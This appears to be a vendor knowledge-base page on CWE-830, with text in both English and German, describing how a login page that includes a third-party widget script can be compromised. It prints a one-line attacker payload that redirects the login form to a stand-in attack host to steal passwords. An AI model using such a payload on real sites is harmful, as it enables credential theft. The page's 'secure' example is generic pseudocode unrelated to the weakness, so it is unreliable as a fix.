CWE-830 Variant Incomplete

Inclusion of Web Functionality from an Untrusted Source

This vulnerability occurs when a web application directly imports and executes functionality, like a widget or script, from an external, untrusted domain. Because the imported code runs within your…

Definition

What is CWE-830?

This vulnerability occurs when a web application directly imports and executes functionality, like a widget or script, from an external, untrusted domain. Because the imported code runs within your application's own security context (origin), it gains the same level of access to user data and the DOM as your own code, potentially giving the third party full control.
Incorporating third-party web functionality, such as JavaScript widgets or analytics scripts, is a common practice but introduces significant risk. The core issue is that code loaded via tags like `` executes with the same privileges as your own application. This means the external code can read sensitive data like user cookies, session tokens, and the entire DOM, effectively bypassing the browser's same-origin policy for your site. Even if you trust the source provider, your application remains vulnerable if that provider's infrastructure is compromised or if the code is altered during delivery (a supply-chain attack). Developers might not always be fully aware of all the external dependencies their application relies on, making this a subtle but widespread issue in modern web mashups and integrated services.
Auswirkungen in der Praxis

Real-world CVEs caused by CWE-830

Bisher sind in MITREs Katalog keine öffentlichen CVE-Referenzen mit dieser CWE verknüpft.

Wie Angreifer es ausnutzen

Angreiferpfad Schritt für Schritt

  1. 1

    This login webpage includes a weather widget from an external website:

  2. 2

    This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

  3. 3

    For example, user login information could easily be stolen with a single line added to weatherwidget.js:

  4. 4

    This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

Verwundbares Codebeispiel

Vulnerable HTML

This login webpage includes a weather widget from an external website:

Verwundbar HTML 
<div class="header"> Welcome!
  	<div id="loginBox">Please Login:
  		<form id ="loginForm" name="loginForm" action="login.php" method="post">
  		Username: <input type="text" name="username" />
  		<br/>
  		Password: <input type="password" name="password" />
  		<input type="submit" value="Login" />
  		</form>
  	</div>
  	<div id="WeatherWidget">
  		<script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
  	</div>
  </div>
Angreifer-Payload

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Angreifer-Payload JavaScript 
```
...Weather widget code....* 
  document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
Sicheres Codebeispiel

Secure pseudo

Sicher pseudo 
// Validate, sanitize, or use a safe API before reaching the sink.
function handleRequest(input) {
  const safe = validateAndEscape(input);
  return executeWithGuards(safe);
}
What changed: the unsafe sink is replaced (or the input is validated/escaped) so the same payload no longer triggers the weakness.
Präventions-Checkliste

How to prevent CWE-830

  • Architecture Use safe-by-default frameworks and APIs that prevent the unsafe pattern from being expressible.
  • Implementation Validate input at trust boundaries; use allowlists, not denylists.
  • Implementation Apply the principle of least privilege to credentials, file paths, and runtime permissions.
  • Testing Cover this weakness in CI: SAST rules + targeted unit tests for the data flow.
  • Operation Monitor logs for the runtime signals listed in the next section.
Erkennungssignale

How to detect CWE-830

SAST High

Führe statische Analyse (SAST) auf der Codebasis aus und suche im Datenfluss nach dem unsicheren Muster.

DAST Moderate

Führe dynamische Application-Security-Tests gegen den Live-Endpoint aus.

Runtime Moderate

Beobachte Runtime-Logs auf ungewöhnliche Exception-Traces, fehlerhafte Eingaben oder Versuche, Autorisierung zu umgehen.

Code review Moderate

Code Review: Markiere jeden neuen Code, der Eingaben von dieser Oberfläche ohne validierte Framework-Helper verarbeitet.

Plexicus Auto-Fix

Plexicus erkennt CWE-830 automatisch und öffnet in unter 60 Sekunden einen Fix-PR.

Codex Remedium scannt jeden Commit, identifiziert genau diese Schwachstelle und liefert einen reviewer-ready Pull Request mit dem Patch. Keine Tickets. Keine Hand-offs.

Demo anfordern Plexicus kostenlos testen
Häufig gestellte Fragen

Frequently asked questions

Was ist CWE-830?

This vulnerability occurs when a web application directly imports and executes functionality, like a widget or script, from an external, untrusted domain. Because the imported code runs within your application's own security context (origin), it gains the same level of access to user data and the DOM as your own code, potentially giving the third party full control.

Wie gravierend ist CWE-830?

MITRE hat für diese Schwachstelle keine Exploit-Wahrscheinlichkeit veröffentlicht. Behandle sie als mittlere Auswirkung, bis dein Threat Model anderes belegt.

Welche Sprachen oder Plattformen sind von CWE-830 betroffen?

MITRE hat für diese CWE keine betroffenen Plattformen spezifiziert — sie kann in den meisten Anwendungs-Stacks auftreten.

Wie kann ich CWE-830 verhindern?

Use safe-by-default frameworks, validate untrusted input at trust boundaries, and apply the principle of least privilege. Cover the data-flow signature in CI with SAST.

Wie erkennt und behebt Plexicus CWE-830?

Die SAST-Engine von Plexicus erkennt die Datenfluss-Signatur von CWE-830 bei jedem Commit. Bei einem Treffer öffnet unser Codex-Remedium-Agent einen Fix-PR mit korrigiertem Code, Tests und einer einzeiligen Zusammenfassung für den Reviewer.

Wo erfahre ich mehr über CWE-830?

MITRE veröffentlicht die kanonische Definition unter https://cwe.mitre.org/data/definitions/830.html. Für ergänzende Hinweise kannst du auch die OWASP- und NIST-Dokumentation heranziehen.

Verwandte Schwachstellen

Weaknesses related to CWE-830

CWE-829 Parent

Inclusion of Functionality from Untrusted Control Sphere

This weakness occurs when an application integrates executable code, like a library or plugin, from a source it does not fully control or…

CWE-827 Sibling

Improper Control of Document Type Definition

This vulnerability occurs when an application fails to properly restrict which Document Type Definitions (DTDs) can be referenced during…

CWE-98 Sibling

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

This vulnerability occurs when a PHP application uses unvalidated or insufficiently restricted user input directly within file inclusion…

Ressourcen

Further reading

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